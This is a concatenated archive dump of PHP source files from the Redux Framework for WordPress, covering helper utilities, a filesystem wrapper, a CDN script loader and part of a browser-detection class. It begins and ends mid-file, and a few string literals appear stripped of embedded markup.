= urldecode( $data['body'] ); if ( ! isset( $_GET['code'] ) || $data['body'] != $_GET['code'] ) { die(); } return Redux_Helpers::getTrackingObject(); } public static function isParentTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_template_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } public static function isChildTheme( $file ) { $file = self::cleanFilePath( $file ); $dir = self::cleanFilePath( get_stylesheet_directory() ); $file = str_replace( '//', '/', $file ); $dir = str_replace( '//', '/', $dir ); if ( strpos( $file, $dir ) !== false ) { return true; } return false; } private static function reduxAsPlugin() { return ReduxFramework::$_as_plugin; } public static function isTheme( $file ) { if ( true == self::isChildTheme( $file ) || true == self::isParentTheme( $file ) ) { return true; } return false; } public static function array_in_array( $needle, $haystack ) { //Make sure $needle is an array for foreach if ( ! is_array( $needle ) ) { $needle = array( $needle ); } //For each value in $needle, return TRUE if in $haystack foreach ( $needle as $pin ) //echo 'needle' . $pin; { if ( in_array( $pin, $haystack ) ) { return true; } } //Return FALSE if none of the values from $needle are found in $haystack return false; } public static function recursive_array_search( $needle, $haystack ) { foreach ( $haystack as $key => $value ) { if ( $needle === $value || ( is_array( $value ) && self::recursive_array_search( $needle, $value ) !== false ) ) { return true; } } return false; } /** * Take a path and return it clean * * @since 3.1.7 * * @param string $path */ public static function cleanFilePath( $path ) { $path = str_replace( '', '', str_replace( array( "\\", "\\\\" ), '/', $path ) ); if ( $path[ strlen( $path ) - 1 ] === '/' ) { $path = rtrim( $path, '/' ); } return $path; } /** * Take a path and delete it * * @since 3.3.3 * * @param string $path */ public static function rmdir( $dir ) { if ( is_dir( $dir ) ) { $objects = scandir( $dir ); foreach ( $objects as $object ) { if ( $object != "." && $object != ".." ) { if ( filetype( $dir . "/" . $object ) == "dir" ) { rrmdir( $dir . "/" . $object ); } else { unlink( $dir . "/" . $object ); } } } reset( $objects ); rmdir( $dir ); } } /** * Field Render Function. * Takes the color hex value and converts to a rgba. * * @since ReduxFramework 3.0.4 */ public static function hex2rgba( $hex, $alpha = '' ) { $hex = str_replace( "#", "", $hex ); if ( strlen( $hex ) == 3 ) { $r = hexdec( substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) ); $g = hexdec( substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) ); $b = hexdec( substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ) ); } else { $r = hexdec( substr( $hex, 0, 2 ) ); $g = hexdec( substr( $hex, 2, 2 ) ); $b = hexdec( substr( $hex, 4, 2 ) ); } $rgb = $r . ',' . $g . ',' . $b; if ( '' == $alpha ) { return $rgb; } else { $alpha = floatval( $alpha ); return 'rgba(' . $rgb . ',' . $alpha . ')'; } } public static function makeBoolStr( $var ) { if ( $var === false || $var === 'false' || $var === 0 || $var === '0' || $var === '' || empty( $var ) ) { return 'false'; } elseif ( $var === true || $var === 'true' || $var === 1 || $var === '1' ) { return 'true'; } else { return $var; } } public static function localize( $localize ) { $redux = ReduxFrameworkInstances::get_instance( $localize['args']['opt_name'] ); $nonce = wp_create_nonce( 'redux-ads-nonce' ); $base = admin_url( 'admin-ajax.php' ) . '?action=redux_p&nonce=' . $nonce . '&url='; // $localize['rAds'] = Redux_Helpers::rURL_fix( $base, $redux->args['opt_name'] ); $localize['rAds'] = false; return $localize; } public static function compileSystemStatus( $json_output = false, $remote_checks = false ) { global $wpdb; $sysinfo = array(); $sysinfo['home_url'] = home_url(); $sysinfo['site_url'] = site_url(); $sysinfo['redux_ver'] = esc_html( ReduxFramework::$_version ); $sysinfo['redux_data_dir'] = ReduxFramework::$_upload_dir; $f = 'fo' . 'pen'; $res = true; if ( $f( ReduxFramework::$_upload_dir . 'test-log.log', 'a' ) === false ) { $res = false; } // Only is a file-write check $sysinfo['redux_data_writeable'] = $res; $sysinfo['wp_content_url'] = WP_CONTENT_URL; $sysinfo['wp_ver'] = get_bloginfo( 'version' ); $sysinfo['wp_multisite'] = is_multisite(); $sysinfo['permalink_structure'] = get_option( 'permalink_structure' ) ? get_option( 'permalink_structure' ) : 'Default'; $sysinfo['front_page_display'] = get_option( 'show_on_front' ); if ( $sysinfo['front_page_display'] == 'page' ) { $front_page_id = get_option( 'page_on_front' ); $blog_page_id = get_option( 'page_for_posts' ); $sysinfo['front_page'] = $front_page_id != 0 ? get_the_title( $front_page_id ) . ' (#' . $front_page_id . ')' : 'Unset'; $sysinfo['posts_page'] = $blog_page_id != 0 ? get_the_title( $blog_page_id ) . ' (#' . $blog_page_id . ')' : 'Unset'; } $sysinfo['wp_mem_limit']['raw'] = self::let_to_num( WP_MEMORY_LIMIT ); $sysinfo['wp_mem_limit']['size'] = size_format( $sysinfo['wp_mem_limit']['raw'] ); $sysinfo['db_table_prefix'] = 'Length: ' . strlen( $wpdb->prefix ) . ' - Status: ' . ( strlen( $wpdb->prefix ) > 16 ? 'ERROR: Too long' : 'Acceptable' ); $sysinfo['wp_debug'] = 'false'; if ( defined( 'WP_DEBUG' ) && WP_DEBUG ) { $sysinfo['wp_debug'] = 'true'; } $sysinfo['wp_lang'] = get_locale(); if ( ! class_exists( 'Browser' ) ) { require_once ReduxFramework::$_dir . 'inc/browser.php'; } $browser = new Browser(); $sysinfo['browser'] = array( 'agent' => $browser->getUserAgent(), 'browser' => $browser->getBrowser(), 'version' => $browser->getVersion(), 'platform' => $browser->getPlatform(), //'mobile' => $browser->isMobile() ? 'true' : 'false', ); $sysinfo['server_info'] = esc_html( $_SERVER['SERVER_SOFTWARE'] ); $sysinfo['localhost'] = self::makeBoolStr( self::isLocalHost() ); $sysinfo['php_ver'] = function_exists( 'phpversion' ) ? esc_html( phpversion() ) : 'phpversion() function does not exist.'; $sysinfo['abspath'] = ABSPATH; if ( function_exists( 'ini_get' ) ) { $sysinfo['php_mem_limit'] = size_format( self::let_to_num( ini_get( 'memory_limit' ) ) ); $sysinfo['php_post_max_size'] = size_format( self::let_to_num( ini_get( 'post_max_size' ) ) ); $sysinfo['php_time_limit'] = ini_get( 'max_execution_time' ); $sysinfo['php_max_input_var'] = ini_get( 'max_input_vars' ); $sysinfo['php_display_errors'] = self::makeBoolStr( ini_get( 'display_errors' ) ); } $sysinfo['suhosin_installed'] = extension_loaded( 'suhosin' ); $sysinfo['mysql_ver'] = $wpdb->db_version(); $sysinfo['max_upload_size'] = size_format( wp_max_upload_size() ); $sysinfo['def_tz_is_utc'] = 'true'; if ( date_default_timezone_get() !== 'UTC' ) { $sysinfo['def_tz_is_utc'] = 'false'; } $sysinfo['fsockopen_curl'] = 'false'; if ( function_exists( 'fsockopen' ) || function_exists( 'curl_init' ) ) { $sysinfo['fsockopen_curl'] = 'true'; } //$sysinfo['soap_client'] = 'false'; //if ( class_exists( 'SoapClient' ) ) { // $sysinfo['soap_client'] = 'true'; //} // //$sysinfo['dom_document'] = 'false'; //if ( class_exists( 'DOMDocument' ) ) { // $sysinfo['dom_document'] = 'true'; //} //$sysinfo['gzip'] = 'false'; //if ( is_callable( 'gzopen' ) ) { // $sysinfo['gzip'] = 'true'; //} if ( $remote_checks == true ) { $response = wp_remote_post( 'https://www.paypal.com/cgi-bin/webscr', array( 'sslverify' => false, 'timeout' => 60, 'user-agent' => 'ReduxFramework/' . ReduxFramework::$_version, 'body' => array( 'cmd' => '_notify-validate' ) ) ); if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) { $sysinfo['wp_remote_post'] = 'true'; $sysinfo['wp_remote_post_error'] = ''; } else { $sysinfo['wp_remote_post'] = 'false'; $sysinfo['wp_remote_post_error'] = $response->get_error_message(); } $response = @wp_remote_get( 'http://reduxframework.com/wp-admin/admin-ajax.php?action=get_redux_extensions' ); if ( ! is_wp_error( $response ) && $response['response']['code'] >= 200 && $response['response']['code'] < 300 ) { $sysinfo['wp_remote_get'] = 'true'; $sysinfo['wp_remote_get_error'] = ''; } elseif ( is_wp_error( $response ) ) { $sysinfo['wp_remote_get'] = 'false'; $sysinfo['wp_remote_get_error'] = $response->get_error_message(); } else { $sysinfo['wp_remote_get'] = 'false'; $sysinfo['wp_remote_get_error'] = $response['response']['code'] . ( isset( $response['response']['message'] ) ? $response['response']['message'] : '' ); } } $active_plugins = (array) get_option( 'active_plugins', array() ); if ( is_multisite() ) { $active_plugins = array_merge( $active_plugins, get_site_option( 'active_sitewide_plugins', array() ) ); } $sysinfo['plugins'] = array(); foreach ( $active_plugins as $plugin ) { if ( file_exists( WP_PLUGIN_DIR . '/' . $plugin ) ) { $plugin_data = @get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin ); $plugin_name = esc_html( $plugin_data['Name'] ); $sysinfo['plugins'][ $plugin_name ] = $plugin_data; } } $redux = ReduxFrameworkInstances::get_all_instances(); $sysinfo['redux_instances'] = array(); if ( ! empty( $redux ) && is_array( $redux ) ) { foreach ( $redux as $inst => $data ) { Redux::init( $inst ); $sysinfo['redux_instances'][ $inst ]['args'] = $data->args; $sysinfo['redux_instances'][ $inst ]['sections'] = $data->sections; foreach ( $sysinfo['redux_instances'][ $inst ]['sections'] as $sKey => $section ) { if ( isset( $section['fields'] ) && is_array( $section['fields'] ) ) { foreach ( $section['fields'] as $fKey => $field ) { if ( isset( $field['validate_callback'] ) ) { unset( $sysinfo['redux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['validate_callback'] ); } if ( $field['type'] == "js_button" ) { if ( isset( $field['script'] ) && isset( $field['script']['ver'] ) ) { unset( $sysinfo['redux_instances'][ $inst ]['sections'][ $sKey ]['fields'][ $fKey ]['script']['ver'] ); } } } } } $sysinfo['redux_instances'][ $inst ]['extensions'] = Redux::getExtensions( $inst ); if ( isset( $data->extensions['metaboxes'] ) ) { $data->extensions['metaboxes']->init(); $sysinfo['redux_instances'][ $inst ]['metaboxes'] = $data->extensions['metaboxes']->boxes; } if ( isset( $data->args['templates_path'] ) && $data->args['templates_path'] != '' ) { $sysinfo['redux_instances'][ $inst ]['templates'] = self::getReduxTemplates( $data->args['templates_path'] ); } } } $active_theme = wp_get_theme(); $sysinfo['theme']['name'] = $active_theme->Name; $sysinfo['theme']['version'] = $active_theme->Version; $sysinfo['theme']['author_uri'] = $active_theme->{'Author URI'}; $sysinfo['theme']['is_child'] = self::makeBoolStr( is_child_theme() ); if ( is_child_theme() ) { $parent_theme = wp_get_theme( $active_theme->Template ); $sysinfo['theme']['parent_name'] = $parent_theme->Name; $sysinfo['theme']['parent_version'] = $parent_theme->Version; $sysinfo['theme']['parent_author_uri'] = $parent_theme->{'Author URI'}; } //if ( $json_output ) { // $sysinfo = json_encode( $sysinfo ); //} //print_r($sysinfo); //exit(); return $sysinfo; } private static function getReduxTemplates( $custom_template_path ) { $template_paths = array( 'ReduxFramework' => ReduxFramework::$_dir . 'templates/panel' ); $scanned_files = array(); $found_files = array(); $outdated_templates = false; foreach ( $template_paths as $plugin_name => $template_path ) { $scanned_files[ $plugin_name ] = self::scan_template_files( $template_path ); } foreach ( $scanned_files as $plugin_name => $files ) { foreach ( $files as $file ) { if ( file_exists( $custom_template_path . '/' . $file ) ) { $theme_file = $custom_template_path . '/' . $file; } else { $theme_file = false; } if ( $theme_file ) { $core_version = self::get_template_version( ReduxFramework::$_dir . 'templates/panel/' . $file ); $theme_version = self::get_template_version( $theme_file ); if ( $core_version && ( empty( $theme_version ) || version_compare( $theme_version, $core_version, '<' ) ) ) { if ( ! $outdated_templates ) { $outdated_templates = true; } $found_files[ $plugin_name ][] = sprintf( __( '%s version %s is out of date. The core version is %s', 'redux-framework' ), str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ), $theme_version ? $theme_version : '-', $core_version ); } else { $found_files[ $plugin_name ][] = sprintf( '%s', str_replace( WP_CONTENT_DIR . '/themes/', '', $theme_file ) ); } } } } return $found_files; } public static function rURL_fix( $base, $opt_name ) { $url = $base . urlencode( 'http://look.redux.io/api/index.php?js&g&1&v=2' ) . '&proxy=' . urlencode( $base ) . ''; return Redux_Functions::tru( $url, $opt_name ); } private static function scan_template_files( $template_path ) { $files = scandir( $template_path ); $result = array(); if ( $files ) { foreach ( $files as $key => $value ) { if ( ! in_array( $value, array( ".", ".." ) ) ) { if ( is_dir( $template_path . DIRECTORY_SEPARATOR . $value ) ) { $sub_files = redux_scan_template_files( $template_path . DIRECTORY_SEPARATOR . $value ); foreach ( $sub_files as $sub_file ) { $result[] = $value . DIRECTORY_SEPARATOR . $sub_file; } } else { $result[] = $value; } } } } return $result; } public static function get_template_version( $file ) { $filesystem = Redux_Filesystem::get_instance(); // Avoid notices if file does not exist if ( ! file_exists( $file ) ) { return ''; } // //// We don't need to write to the file, so just open for reading. //$fp = fopen( $file, 'r' ); // //// Pull only the first 8kiB of the file in. //$file_data = fread( $fp, 8192 ); // //// PHP will close file handle, but we are good citizens. //fclose( $fp ); // // Make sure we catch CR-only line endings. $data = get_file_data( $file, array( 'version' ), 'plugin' ); if ( ! empty( $data[0] ) ) { return $data[0]; } else { $file_data = $filesystem->execute( 'get_contents', $file ); $file_data = str_replace( "\r", "\n", $file_data ); $version = ''; if ( preg_match( '/^[ \t\/*#@]*' . preg_quote( '@version', '/' ) . '(.*)$/mi', $file_data, $match ) && $match[1] ) { $version = _cleanup_header_comment( $match[1] ); } return $version; } } private static function let_to_num( $size ) { $l = substr( $size, - 1 ); $ret = substr( $size, 0, - 1 ); switch ( strtoupper( $l ) ) { case 'P': $ret *= 1024; case 'T': $ret *= 1024; case 'G': $ret *= 1024; case 'M': $ret *= 1024; case 'K': $ret *= 1024; } return $ret; } public static function get_extension_dir( $dir ) { return trailingslashit( wp_normalize_path( dirname( $dir ) ) ); } public static function get_extension_url( $dir ) { $ext_dir = Redux_Helpers::get_extension_dir( $dir ); $ext_url = str_replace( wp_normalize_path( WP_CONTENT_DIR ), WP_CONTENT_URL, $ext_dir ); return $ext_url; } } } lib/redux-framework/inc/class.redux_filesystem.php000064400000032014147206624460016430 0ustar00parent = $parent; } return self::$instance; } public function ftp_form() { if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { echo '

    '; echo '' . __( 'File Permission Issues', 'redux-framework' ) . '
    ' . sprintf( __( 'We were unable to modify required files. Please ensure that %1s has the proper read-write permissions, or modify your wp-config.php file to contain your FTP login credentials as outlined here.', 'redux-framework' ), Redux_Helpers::cleanFilePath( trailingslashit( WP_CONTENT_DIR ) ) . '/uploads/', 'https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants' ); echo '

    ' . '
    '; } } function filesystem_init( $form_url, $method = '', $context = false, $fields = null ) { global $wp_filesystem; if ( ! empty( $this->creds ) ) { return true; } ob_start(); /* first attempt to get credentials */ if ( false === ( $this->creds = request_filesystem_credentials( $form_url, $method, false, $context ) ) ) { $this->creds = array(); $this->parent->ftp_form = ob_get_contents(); ob_end_clean(); /** * if we comes here - we don't have credentials * so the request for them is displaying * no need for further processing **/ return false; } /* now we got some credentials - try to use them*/ if ( ! WP_Filesystem( $this->creds ) ) { $this->creds = array(); /* incorrect connection data - ask for credentials again, now with error message */ request_filesystem_credentials( $form_url, '', true, $context ); $this->parent->ftp_form = ob_get_contents(); ob_end_clean(); return false; } return true; } public static function load_direct() { if ( self::$direct === null ) { require_once ABSPATH . '/wp-admin/includes/class-wp-filesystem-base.php'; require_once ABSPATH . '/wp-admin/includes/class-wp-filesystem-direct.php'; self::$direct = new WP_Filesystem_Direct( array() ); } } public function execute( $action, $file = '', $params = '' ) { if ( empty( $this->parent->args ) ) { return; } if ( ! empty ( $params ) ) { extract( $params ); } // Setup the filesystem with creds require_once ABSPATH . '/wp-admin/includes/template.php'; require_once ABSPATH . '/wp-includes/pluggable.php'; require_once ABSPATH . '/wp-admin/includes/file.php'; if ( $this->parent->args['menu_type'] == 'submenu' ) { $page_parent = $this->parent->args['page_parent']; $base = $page_parent . '?page=' . $this->parent->args['page_slug']; } else { $base = 'admin.php?page=' . $this->parent->args['page_slug']; } $url = wp_nonce_url( $base, 'redux-options' ); $this->filesystem_init( $url, 'direct', dirname( $file ) ); if ( ! file_exists( ReduxFramework::$_upload_dir ) ) { $this->do_action( 'mkdir', ReduxFramework::$_upload_dir ); } $hash_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'hash'; if ( ! file_exists( $hash_path ) ) { $this->do_action( 'put_contents', $hash_path, array( 'content' => md5( network_site_url() . '-' . $_SERVER['REMOTE_ADDR'] ) ) ); } $version_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'version'; if ( ! file_exists( $version_path ) ) { $this->do_action( 'put_contents', $version_path, array( 'content' => ReduxFramework::$_version ) ); } $index_path = trailingslashit( ReduxFramework::$_upload_dir ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $this->do_action( 'put_contents', $index_path, array( 'content' => 'do_action( $action, $file, $params ); } public function do_action( $action, $file = '', $params = '' ) { if ( ! empty ( $params ) ) { extract( $params ); } global $wp_filesystem; if ( ! isset( $params['chmod'] ) || ( isset( $params['chmod'] ) && empty( $params['chmod'] ) ) ) { if ( defined( 'FS_CHMOD_FILE' ) ) { $chmod = FS_CHMOD_FILE; } else { $chmod = 0644; } } $res = false; if ( ! isset( $recursive ) ) { $recursive = false; } //$target_dir = $wp_filesystem->find_folder( dirname( $file ) ); // Do unique stuff if ( $action == 'mkdir' ) { if ( defined( 'FS_CHMOD_DIR' ) ) { $chmod = FS_CHMOD_DIR; } else { $chmod = 0755; } $res = $wp_filesystem->mkdir( $file ); if ( ! $res ) { wp_mkdir_p( $file ); $res = file_exists( $file ); if ( ! $res ) { mkdir( $file, $chmod, true ); $res = file_exists( $file ); } } $index_path = trailingslashit( $file ) . 'index.php'; if ( ! file_exists( $index_path ) ) { $wp_filesystem->put_contents( $index_path, 'rmdir( $file, $recursive ); } elseif ( $action == 'copy' && ! isset( $this->filesystem->killswitch ) ) { if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { $res = copy( $file, $destination ); if ( $res ) { chmod( $destination, $chmod ); } } else { $res = $wp_filesystem->copy( $file, $destination, $overwrite, $chmod ); } } elseif ( $action == 'move' && ! isset( $this->filesystem->killswitch ) ) { $res = $wp_filesystem->copy( $file, $destination, $overwrite ); } elseif ( $action == 'delete' ) { $res = $wp_filesystem->delete( $file, $recursive ); } elseif ( $action == 'rmdir' ) { $res = $wp_filesystem->rmdir( $file, $recursive ); } elseif ( $action == 'dirlist' ) { if ( ! isset( $include_hidden ) ) { $include_hidden = true; } $res = $wp_filesystem->dirlist( $file, $include_hidden, $recursive ); } elseif ( $action == 'put_contents' && ! isset( $this->filesystem->killswitch ) ) { // Write a string to a file if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { self::load_direct(); $res = self::$direct->put_contents( $file, $content, $chmod ); } else { $res = $wp_filesystem->put_contents( $file, $content, $chmod ); } } elseif ( $action == 'chown' ) { // Changes file owner if ( isset( $owner ) && ! empty( $owner ) ) { $res = $wp_filesystem->chmod( $file, $chmod, $recursive ); } } elseif ( $action == 'owner' ) { // Gets file owner $res = $wp_filesystem->owner( $file ); } elseif ( $action == 'chmod' ) { if ( ! isset( $params['chmod'] ) || ( isset( $params['chmod'] ) && empty( $params['chmod'] ) ) ) { $chmod = false; } $res = $wp_filesystem->chmod( $file, $chmod, $recursive ); } elseif ( $action == 'get_contents' ) { // Reads entire file into a string if ( isset( $this->parent->ftp_form ) && ! empty( $this->parent->ftp_form ) ) { self::load_direct(); $res = self::$direct->get_contents( $file ); } else { $res = $wp_filesystem->get_contents( $file ); } } elseif ( $action == 'get_contents_array' ) { // Reads entire file into an array $res = $wp_filesystem->get_contents_array( $file ); } elseif ( $action == 'object' ) { $res = $wp_filesystem; } elseif ( $action == 'unzip' ) { $unzipfile = unzip_file( $file, $destination ); if ( $unzipfile ) { $res = true; } } if ( ! $res ) { if ( $action == 'dirlist' ) { if ( empty( $res ) || $res == false || $res == '' ) { return; } if ( is_array( $res ) && empty( $res ) ) { return; } if ( ! is_array( $res ) ) { if ( count( glob( "$file*" ) ) == 0 ) { return; } } } $this->killswitch = true; $msg = '' . __( 'File Permission Issues', 'redux-framework' ) . '
    ' . sprintf( __( 'We were unable to modify required files. Please ensure that %1s has the proper read-write permissions, or modify your wp-config.php file to contain your FTP login credentials as outlined here.', 'redux-framework' ), Redux_Helpers::cleanFilePath( trailingslashit( WP_CONTENT_DIR ) ) . '/uploads/', 'https://codex.wordpress.org/Editing_wp-config.php#WordPress_Upgrade_Constants' ); $data = array( 'parent' => self::$instance->parent, 'type' => 'error', 'msg' => $msg, 'id' => 'redux-wp-login', 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); } return $res; } } Redux_Filesystem::get_instance(); } lib/redux-framework/inc/class.redux_cdn.php000064400000020247147206624460015015 0ustar00args['dev_mode'] ) { $msg = sprintf( __( 'If you are developing offline, please download and install the Redux Vendor Support plugin/extension to bypass the our CDN and avoid this warning', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support' ); } $msg = '' . __( 'Redux Framework Warning', 'redux-framework' ) . '
    ' . sprintf( __( '%s CDN unavailable. Some controls may not render properly.', 'redux-framework' ), $handle ) . ' ' . $msg; $data = array( 'parent' => self::$_parent, 'type' => 'error', 'msg' => $msg, 'id' => $handle . $tran_key, 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); } } } else { set_transient( $handle . $tran_key, true, MINUTE_IN_SECONDS * self::$_parent->args['cdn_check_time'] ); if ( $register ) { self::_register( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script ); } } } } private static function _vendor_plugin( $register, $handle, $src_cdn, $deps, $ver, $footer_or_media, $is_script = true ) { if ( class_exists( 'Redux_VendorURL' ) ) { $src = Redux_VendorURL::get_url( $handle ); if ( $register ) { self::_register( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } else { self::_enqueue( $handle, $src, $deps, $ver, $footer_or_media, $is_script ); } } else { if ( ! self::$_set ) { $msg = sprintf( __( 'The Vendor Support plugin (or extension) is either not installed or not activated and thus, some controls may not render properly. Please ensure that it is installed and activated', 'redux-framework' ), 'https://github.com/reduxframework/redux-vendor-support', admin_url( 'plugins.php' ) ); $data = array( 'parent' => self::$_parent, 'type' => 'error', 'msg' => $msg, 'id' => $handle, 'dismiss' => false ); Redux_Admin_Notices::set_notice($data); self::$_set = true; } } } public static function register_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function register_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } else { self::_vendor_plugin( true, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } public static function enqueue_style( $handle, $src_cdn = false, $deps = array(), $ver = false, $media = 'all' ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $media, $is_script = false ); } } public static function enqueue_script( $handle, $src_cdn = false, $deps = array(), $ver = false, $in_footer = false ) { if ( self::$_parent->args['use_cdn'] ) { self::_cdn( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } else { self::_vendor_plugin( false, $handle, $src_cdn, $deps, $ver, $in_footer, $is_script = true ); } } } } lib/redux-framework/inc/lib.redux_instances.php000064400000001647147206624460015704 0ustar00 $ReduxFramework] */ function get_all_redux_instances() { return ReduxFrameworkInstances::get_all_instances(); } }lib/redux-framework/inc/browser.php000064400000131523147206624460013421 0ustar00getBrowser() == Browser::BROWSER_FIREFOX && $browser->getVersion() >= 2 ) { * echo 'You have FireFox version 2 or greater'; * } * * User Agents Sampled from: http://www.useragentstring.com/ * * This implementation is based on the original work from Gary White * http://apptools.com/phptools/browser/ * */ class Browser { private $_agent = ''; private $_browser_name = ''; private $_version = ''; private $_platform = ''; private $_os = ''; private $_is_aol = false; private $_is_mobile = false; private $_is_tablet = false; private $_is_robot = false; private $_is_facebook = false; private $_aol_version = ''; const BROWSER_UNKNOWN = 'unknown'; const VERSION_UNKNOWN = 'unknown'; const BROWSER_OPERA = 'Opera'; // http://www.opera.com/ const BROWSER_OPERA_MINI = 'Opera Mini'; // http://www.opera.com/mini/ const BROWSER_WEBTV = 'WebTV'; // http://www.webtv.net/pc/ const BROWSER_IE = 'Internet Explorer'; // http://www.microsoft.com/ie/ const BROWSER_POCKET_IE = 'Pocket Internet Explorer'; // http://en.wikipedia.org/wiki/Internet_Explorer_Mobile const BROWSER_KONQUEROR = 'Konqueror'; // http://www.konqueror.org/ const BROWSER_ICAB = 'iCab'; // http://www.icab.de/ const BROWSER_OMNIWEB = 'OmniWeb'; // http://www.omnigroup.com/applications/omniweb/ const BROWSER_FIREBIRD = 'Firebird'; // http://www.ibphoenix.com/ const BROWSER_FIREFOX = 'Firefox'; // http://www.mozilla.com/en-US/firefox/firefox.html const BROWSER_ICEWEASEL = 'Iceweasel'; // http://www.geticeweasel.org/ const BROWSER_SHIRETOKO = 'Shiretoko'; // http://wiki.mozilla.org/Projects/shiretoko const BROWSER_MOZILLA = 'Mozilla'; // http://www.mozilla.com/en-US/ const BROWSER_AMAYA = 'Amaya'; // http://www.w3.org/Amaya/ const BROWSER_LYNX = 'Lynx'; // http://en.wikipedia.org/wiki/Lynx const BROWSER_SAFARI = 'Safari'; // http://apple.com const BROWSER_IPHONE = 'iPhone'; // http://apple.com const BROWSER_IPOD = 'iPod'; // http://apple.com const BROWSER_IPAD = 'iPad'; // http://apple.com const BROWSER_CHROME = 'Chrome'; // http://www.google.com/chrome const BROWSER_ANDROID = 'Android'; // http://www.android.com/ const BROWSER_GOOGLEBOT = 'GoogleBot'; // http://en.wikipedia.org/wiki/Googlebot const BROWSER_SLURP = 'Yahoo! Slurp'; // http://en.wikipedia.org/wiki/Yahoo!_Slurp const BROWSER_W3CVALIDATOR = 'W3C Validator'; // http://validator.w3.org/ const BROWSER_BLACKBERRY = 'BlackBerry'; // http://www.blackberry.com/ const BROWSER_ICECAT = 'IceCat'; // http://en.wikipedia.org/wiki/GNU_IceCat const BROWSER_NOKIA_S60 = 'Nokia S60 OSS Browser'; // http://en.wikipedia.org/wiki/Web_Browser_for_S60 const BROWSER_NOKIA = 'Nokia Browser'; // * all other WAP-based browsers on the Nokia Platform const BROWSER_MSN = 'MSN Browser'; // http://explorer.msn.com/ const BROWSER_MSNBOT = 'MSN Bot'; // http://search.msn.com/msnbot.htm const BROWSER_BINGBOT = 'Bing Bot'; // http://en.wikipedia.org/wiki/Bingbot const BROWSER_NETSCAPE_NAVIGATOR = 'Netscape Navigator'; // http://browser.netscape.com/ (DEPRECATED) const BROWSER_GALEON = 'Galeon'; // http://galeon.sourceforge.net/ (DEPRECATED) const BROWSER_NETPOSITIVE = 'NetPositive'; // http://en.wikipedia.org/wiki/NetPositive (DEPRECATED) const BROWSER_PHOENIX = 'Phoenix'; // http://en.wikipedia.org/wiki/History_of_Mozilla_Firefox (DEPRECATED) const PLATFORM_UNKNOWN = 'unknown'; const PLATFORM_WINDOWS = 'Windows'; const PLATFORM_WINDOWS_CE = 'Windows CE'; const PLATFORM_APPLE = 'Apple'; const PLATFORM_LINUX = 'Linux'; const PLATFORM_OS2 = 'OS/2'; const PLATFORM_BEOS = 'BeOS'; const PLATFORM_IPHONE = 'iPhone'; const PLATFORM_IPOD = 'iPod'; const PLATFORM_IPAD = 'iPad'; const PLATFORM_BLACKBERRY = 'BlackBerry'; const PLATFORM_NOKIA = 'Nokia'; const PLATFORM_FREEBSD = 'FreeBSD'; const PLATFORM_OPENBSD = 'OpenBSD'; const PLATFORM_NETBSD = 'NetBSD'; const PLATFORM_SUNOS = 'SunOS'; const PLATFORM_OPENSOLARIS = 'OpenSolaris'; const PLATFORM_ANDROID = 'Android'; const OPERATING_SYSTEM_UNKNOWN = 'unknown'; public function __construct($userAgent = "") { $this->reset(); if ($userAgent != "") { $this->setUserAgent($userAgent); } else { $this->determine(); } } /** * Reset all properties */ public function reset() { $this->_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ""; $this->_browser_name = self::BROWSER_UNKNOWN; $this->_version = self::VERSION_UNKNOWN; $this->_platform = self::PLATFORM_UNKNOWN; $this->_os = self::OPERATING_SYSTEM_UNKNOWN; $this->_is_aol = false; $this->_is_mobile = false; $this->_is_tablet = false; $this->_is_robot = false; $this->_is_facebook = false; $this->_aol_version = self::VERSION_UNKNOWN; } /** * Check to see if the specific browser is valid * @param string $browserName * @return bool True if the browser is the specified browser */ function isBrowser($browserName) { return (0 == strcasecmp($this->_browser_name, trim($browserName))); } /** * The name of the browser. All return types are from the class contants * @return string Name of the browser */ public function getBrowser() { return $this->_browser_name; } /** * Set the name of the browser * @param $browser string The name of the Browser */ public function setBrowser($browser) { $this->_browser_name = $browser; } /** * The name of the platform. All return types are from the class contants * @return string Name of the browser */ public function getPlatform() { return $this->_platform; } /** * Set the name of the platform * @param string $platform The name of the Platform */ public function setPlatform($platform) { $this->_platform = $platform; } /** * The version of the browser. * @return string Version of the browser (will only contain alpha-numeric characters and a period) */ public function getVersion() { return $this->_version; } /** * Set the version of the browser * @param string $version The version of the Browser */ public function setVersion($version) { $this->_version = preg_replace('/[^0-9,.,a-z,A-Z-]/', '', 